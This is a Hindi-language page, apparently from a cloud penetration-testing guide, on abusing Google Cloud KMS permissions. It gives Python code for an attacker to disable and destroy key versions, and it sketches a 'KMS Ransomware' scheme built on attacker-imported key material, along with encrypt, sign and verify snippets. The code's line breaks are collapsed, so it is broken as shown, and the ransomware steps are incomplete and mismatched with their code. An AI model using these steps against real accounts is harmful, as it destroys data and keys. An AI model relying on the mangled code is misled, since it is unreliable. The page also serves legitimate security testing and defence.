इस अनुमति के साथ एक हमलावर KMS संस्करण को नष्ट कर सकता है। ऐसा करने के लिए, आपको पहले कुंजी को निष्क्रिय करना होगा और फिर इसे नष्ट करना होगा:
# pip install google-cloud-kmsfrom google.cloud import kmsdefdisable_key_version(project_id,location_id,key_ring_id,key_id,key_version):"""Disables a key version in Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to disable the key version.client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
defdestroy_key_version(project_id,location_id,key_ring_id,key_id,key_version):"""Destroys a key version in Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to destroy the key version.client.destroy_crypto_key_version(request={'name': key_version_name})# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'# Version number to disable and destroy# Disable the key versiondisable_key_version(project_id, location_id, key_ring_id, key_id, key_version)# Destroy the key versiondestroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
KMS Ransomware
AWS में, KMS कुंजी को पूरी तरह से चुराना संभव है, KMS संसाधन नीति को संशोधित करके और केवल हमलावर के खाते को कुंजी का उपयोग करने की अनुमति देकर। चूंकि ये संसाधन नीतियाँ GCP में मौजूद नहीं हैं, यह संभव नहीं है।
हालांकि, एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:
एक नई कुंजी का संस्करण बनाएं जिसमें हमलावर द्वारा आयातित कुंजी सामग्री हो
from google.cloud import kmsimport base64defencrypt_symmetric(project_id,location_id,key_ring_id,key_id,plaintext):"""Encrypts data using a symmetric key from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key name.key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)# Convert the plaintext to bytes.plaintext_bytes = plaintext.encode('utf-8')# Call the API.encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})ciphertext = encrypt_response.ciphertext# Optional: Encode the ciphertext to base64 for easier handling.return base64.b64encode(ciphertext)# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'plaintext ='your-data-to-encrypt'ciphertext =encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
import hashlibfrom google.cloud import kmsdefsign_asymmetric(project_id,location_id,key_ring_id,key_id,key_version,message):"""Sign a message using an asymmetric key version from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest.message_bytes = message.encode('utf-8')digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Call the API to sign the digest.sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)return sign_response.signature# Example usage for signingproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'message ='your-message'signature =sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)print('Signature:', signature)
cloudkms.cryptoKeyVersions.useToVerify
from google.cloud import kmsimport hashlibdefverify_asymmetric_signature(project_id,location_id,key_ring_id,key_id,key_version,message,signature):"""Verify a signature using an asymmetric key version from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest.message_bytes = message.encode('utf-8')digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Build the verify request and call the API.verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)return verify_response.success# Example usage for verificationverified =verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)print('Verified:', verified)
